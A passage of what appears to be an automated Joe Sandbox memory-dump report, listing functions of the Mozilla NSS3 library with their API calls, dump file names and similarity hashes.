PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE904DC,?,?), ref: 6CEDBED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CEDBEEB

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: 5a7c7731018974f1f8efe26149846c35e7534b5b4bf4fc69ef8b9af56a5a6cf2
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: 84110466E0430A67E7008965AC82F5B737D9B4175CF364125FE0487B52FB31F80687E2

Function 6CE8AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CE83FFF,00000000,?,?,?,?,?,6CE81A1C,00000000,00000000), ref: 6CE8ADA7

Part of subcall function 6CEE14C0: TlsGetValue.KERNEL32 ref: 6CEE14E0
Part of subcall function 6CEE14C0: EnterCriticalSection.KERNEL32 ref: 6CEE14F5
Part of subcall function 6CEE14C0: PR_Unlock.NSS3 ref: 6CEE150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CE83FFF,00000000,?,?,?,?,?,6CE81A1C,00000000,00000000), ref: 6CE8ADB4

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CE83FFF,?,?,?,?,6CE83FFF,00000000,?,?,?,?,?,6CE81A1C,00000000), ref: 6CE8ADD5

Part of subcall function 6CEDFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CED8D2D,?,00000000,?), ref: 6CEDFB85
Part of subcall function 6CEDFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEDFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CFA94B0,?,?,?,?,?,?,?,?,6CE83FFF,00000000,?), ref: 6CE8ADEC

Part of subcall function 6CEDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFB18D0,?), ref: 6CEDB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE83FFF), ref: 6CE8AE3C

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: d46b3c3795dc85771639573b03105bf5ae80fb965bddcb339766e0bd85bdb225
Instruction ID: 7d1f12ba8015cd4dff2ad4257877104431b622705e474f9684198b3010c5be52
Opcode Fuzzy Hash: d46b3c3795dc85771639573b03105bf5ae80fb965bddcb339766e0bd85bdb225
Instruction Fuzzy Hash: 3D113872E003045BF7109B659C40BBF73F8DF9524DF24862CEC1996782FB20E99982E2

Function 6CE98FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CEA0710), ref: 6CE98FF1
PR_CallOnce.NSS3(6CFE2158,6CE99150,00000000,?,?,?,6CE99138,?,6CEA0710), ref: 6CE99029
calloc.MOZGLUE(00000001,00000000,?,?,6CEA0710), ref: 6CE9904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CEA0710), ref: 6CE99066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CEA0710), ref: 6CE99078

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: fe78bb693641900eea0355d27d67d1fb2ac8ac8a8197cbe5058b4e9fe2645ab7
Instruction ID: 333389d41dc990366dd978ca0b7807ca86662b6d7c450c1cc84cfca8b8bb814b
Opcode Fuzzy Hash: fe78bb693641900eea0355d27d67d1fb2ac8ac8a8197cbe5058b4e9fe2645ab7
Instruction Fuzzy Hash: C2110821B101116BEB6016AAAC44BA637BCEB827ACF600131FD6CC6B51F797CD5593F1

Function 6CEACD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CEC1E10: TlsGetValue.KERNEL32 ref: 6CEC1E36
Part of subcall function 6CEC1E10: EnterCriticalSection.KERNEL32(?,?,?,6CE9B1EE,2404110F,?,?), ref: 6CEC1E4B
Part of subcall function 6CEC1E10: PR_Unlock.NSS3 ref: 6CEC1E76

free.MOZGLUE(?,6CEAD079,00000000,00000001), ref: 6CEACDA5
PK11_FreeSymKey.NSS3(?,6CEAD079,00000000,00000001), ref: 6CEACDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CEAD079,00000000,00000001), ref: 6CEACDCF
DeleteCriticalSection.KERNEL32(?,6CEAD079,00000000,00000001), ref: 6CEACDE2
free.MOZGLUE(?), ref: 6CEACDE9

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 8b1ca494a29066d4e82fad7eac5b32dc70e0d2c6d7247f9c9b6c801633484f10
Instruction ID: 5efea08c64a25f8eb8be8781bfa99da697b5763812460ff792ffaaae5a01b41c
Opcode Fuzzy Hash: 8b1ca494a29066d4e82fad7eac5b32dc70e0d2c6d7247f9c9b6c801633484f10
Instruction Fuzzy Hash: E511CEB6B01211AFDB00AFA5EC84A96B77CFF0426C7244121E919CBE01E732F425C7E2

Function 6CF12CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CF15B40: PR_GetIdentitiesLayer.NSS3 ref: 6CF15B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF12CEC

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

PR_EnterMonitor.NSS3(?), ref: 6CF12D02
PR_EnterMonitor.NSS3(?), ref: 6CF12D1F
PR_ExitMonitor.NSS3(?), ref: 6CF12D42
PR_ExitMonitor.NSS3(?), ref: 6CF12D5B

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 448b6e24d7f9dac11e6fb55ebbf9e896839946fc9d799212a33f43978e7dd450
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 7501C4B1A142005BE7309F69FC40BC7B7A5FF46318F008525E85A86F21EA33F9158792

Function 6CF12D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CF15B40: PR_GetIdentitiesLayer.NSS3 ref: 6CF15B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF12D9C

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

PR_EnterMonitor.NSS3(?), ref: 6CF12DB2
PR_EnterMonitor.NSS3(?), ref: 6CF12DCF
PR_ExitMonitor.NSS3(?), ref: 6CF12DF2
PR_ExitMonitor.NSS3(?), ref: 6CF12E0B

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: aaa56ecbffbe1551f82f70db334c7deb7d2440eece936f8f1fabea9985b1825b
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 0B01C4B1A142045FEB309E69FC01BC7B7A5EF42318F004435E85A86F21DA33F9258793

Function 6CEAAE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CE93090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CEAAE42), ref: 6CE930AA
Part of subcall function 6CE93090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE930C7
Part of subcall function 6CE93090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CE930E5
Part of subcall function 6CE93090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE93116
Part of subcall function 6CE93090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE9312B
Part of subcall function 6CE93090: PK11_DestroyObject.NSS3(?,?), ref: 6CE93154
Part of subcall function 6CE93090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE9317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CE899FF,?,?,?,?,?,?,?,?,?,6CE82D6B,?), ref: 6CEAAE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CE899FF,?,?,?,?,?,?,?,?,?,6CE82D6B,?), ref: 6CEAAE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CE82D6B,?,?,00000000), ref: 6CEAAE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CE82D6B,?,?,00000000), ref: 6CEAAE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CE82D6B,?,?), ref: 6CEAAEA3

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: e62ec4930a4ae7703b281af7647e568b8ba64fbbb7678a6ec12a2cfcfe6f5a2a
Instruction ID: 4c8cfc706fc83b03c7517f3490e5126ddc8325c9d06ed16d40a75c5444d990a3
Opcode Fuzzy Hash: e62ec4930a4ae7703b281af7647e568b8ba64fbbb7678a6ec12a2cfcfe6f5a2a
Instruction Fuzzy Hash: EA01FEB2B812105FEB0196ACAC817AF31784B8755DF284036E805CF701F615D9474AD3

Function 6CF9BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6CF97AFE,?,?,?,?,?,?,?,?,6CF9798A), ref: 6CF9BDC3
free.MOZGLUE(?,?,6CF97AFE,?,?,?,?,?,?,?,?,6CF9798A), ref: 6CF9BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CF97AFE,?,?,?,?,?,?,?,?,6CF9798A), ref: 6CF9BDE9
free.MOZGLUE(?,00000000,00000000,?,6CF97AFE,?,?,?,?,?,?,?,?,6CF9798A), ref: 6CF9BE21
free.MOZGLUE(00000000,00000000,?,6CF97AFE,?,?,?,?,?,?,?,?,6CF9798A), ref: 6CF9BE32

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: a677b4722f65fcbb6425baa8adce7fc4ebdb4e188fa40bedda4a6ce9c424636e
Instruction ID: 268a4cc561f5180374ac398366f38f32cad4c2e9ad9264e49a26a4dc0b12a96f
Opcode Fuzzy Hash: a677b4722f65fcbb6425baa8adce7fc4ebdb4e188fa40bedda4a6ce9c424636e
Instruction Fuzzy Hash: 87110DB6F21216AFDFD0DF29C8097463BB5AB4E254B540465D60AC77A0F732A414CB91

Function 6CF97C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6CF97C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF97C83
malloc.MOZGLUE(00000001), ref: 6CF97C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CF97C9F
PR_GetCurrentThread.NSS3 ref: 6CF97CAD

Part of subcall function 6CF49BF0: TlsGetValue.KERNEL32(?,?,?,6CF90A75), ref: 6CF49C07

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: 3c5bfdea1a7f2495faa7623b539cd09cb6ddb2f52d7ac1cf7a24b2be6252164a
Instruction ID: 8a56bf6397befb5c99feb483c957addc53edd8ce31a8e6cab721d4446f059c6d
Opcode Fuzzy Hash: 3c5bfdea1a7f2495faa7623b539cd09cb6ddb2f52d7ac1cf7a24b2be6252164a
Instruction Fuzzy Hash: 29F0C2B1A102066BEF049F3AAC099477B5CEF00265B018436E819C3B01EB30E114CAE6

Function 6CF9ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CF9A6D8), ref: 6CF9AE0D
free.MOZGLUE(?), ref: 6CF9AE14
DeleteCriticalSection.KERNEL32(6CF9A6D8), ref: 6CF9AE36
free.MOZGLUE(?), ref: 6CF9AE3D
free.MOZGLUE(00000000,00000000,?,?,6CF9A6D8), ref: 6CF9AE47

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 7dc403061e977cee45b493d7144a178ee4cf8520a255e1745c445b7101a52a11
Instruction ID: 406edef89dc185b5e84f266cf069f10071bf064358190c6f0c88040ee5117d81
Opcode Fuzzy Hash: 7dc403061e977cee45b493d7144a178ee4cf8520a255e1745c445b7101a52a11
Instruction Fuzzy Hash: 75F09675A01A01A7DE11AF79D808A5777B8BF867757140328E52A83940D731F115C7D5

Function 6CE27C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE27D35

Strings

database corruption, xrefs: 6CE27D29
%s at line %d of [%.10s], xrefs: 6CE27D2E
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE27D13, 6CE27D1F, 6CE27D47, 6CE27D53, 6CE27D5F

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: d59447016b0f163ae518bc582c3d5749df7579db3fa55682194e3b90c9546595
Instruction ID: 47ac708f25d106685b2cec7be9a7c2425f87c29647b3bdca530757085fcc8ac0
Opcode Fuzzy Hash: d59447016b0f163ae518bc582c3d5749df7579db3fa55682194e3b90c9546595
Instruction Fuzzy Hash: B7310971E0422697C710CF9EC880ABEB7F1EF4A309B690196E444B7782D775DC41C7A5

Function 6CE16C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CE16D36

Strings

database corruption, xrefs: 6CE16D2A
%s at line %d of [%.10s], xrefs: 6CE16D2F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE16D20

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: cadb321bceac6744af19fdbb819278c3f0f3e7b8b76a83b265e2f3c852aafb92
Instruction ID: 492a79040ac9a2da068ba694941ff03b1ac6b16ff32f800e1a296c6ce353a96b
Opcode Fuzzy Hash: cadb321bceac6744af19fdbb819278c3f0f3e7b8b76a83b265e2f3c852aafb92
Instruction Fuzzy Hash: EA2100717183059BC7109E1AC841B9AB7FAEF81308F34892CD8499BF50E371F969CB92

Function 6CEF2FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+l,6CEF32C2,<+l,00000000,00000000,?), ref: 6CEF2FDA

Part of subcall function 6CEE14C0: TlsGetValue.KERNEL32 ref: 6CEE14E0
Part of subcall function 6CEE14C0: EnterCriticalSection.KERNEL32 ref: 6CEE14F5
Part of subcall function 6CEE14C0: PR_Unlock.NSS3 ref: 6CEE150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6CEF300B

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6CEF302A

Part of subcall function 6CEE0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEE08B4

Part of subcall function 6CECC3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6CECC45D
Part of subcall function 6CECC3D0: TlsGetValue.KERNEL32 ref: 6CECC494
Part of subcall function 6CECC3D0: EnterCriticalSection.KERNEL32(?), ref: 6CECC4A9
Part of subcall function 6CECC3D0: PR_Unlock.NSS3(?), ref: 6CECC4F4

Strings

<+l, xrefs: 6CEF2FD0

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
